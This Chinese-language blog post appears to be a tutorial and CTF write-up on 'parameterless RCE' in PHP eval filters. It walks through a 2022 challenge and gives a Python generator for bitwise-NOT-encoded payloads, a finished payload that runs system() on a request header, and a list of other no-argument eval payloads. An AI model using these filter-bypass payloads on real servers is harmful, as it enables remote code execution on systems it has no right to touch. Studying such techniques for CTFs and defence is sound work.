无参数RCE介绍

概念

无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。
没有参数的函数什么意思?一般该类题目代码如下(或类似):

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
eval($_GET['exp']);
}
?>

先来解读下代码:

  • 如果';'===preg_replace(...),那么就执行exp传递的命令
  • \ : 转义字符不多说了
  • [a-z,_]+ : [a-z,_]匹配小写字母和下划线 +表示1到多个
  • (?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))

简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

后续再单独开篇blog讲吧!~

无参数RCE总结_get_defined_vars-CSDN博客

鹏城杯 2022]简单的php | NSSCTF

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

新思路:不认识正则表达式,咱们就一个个试呗.输出可用的漏网之鱼!便很容易猜测出题人的思路

1
2
3
4
5
6
7
<?php 

for ($ascii=0; $ascii < 256; $ascii++){
if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
echo chr($ascii);
}
}

';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)提示本题肯定是无参RCE

因此无参数RCE 所以不能通过()来实现

所以形式一定为[命令执行]中括号包围

没有过滤~.因此可以通过取反绕过

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)

示例用法

得到:[~%8f%97%8f%96%91%90][!%FF]();也即phpinfo();

利用请求头执行:system(current(getallheaders()));

传入:[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9 e%9b%9a%8d%8c][!%FF]()));

然后命令执行:

一些其他的无参数RCE:

1
2
3
4
5
6
7
8
9
10
11
eval(hex2bin(session_id(session_start())));

print_r(current(get_defined_vars()));&b=phpinfo();

eval(next(getallheaders()));

var_dump(getenv(phpinfo()));

print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件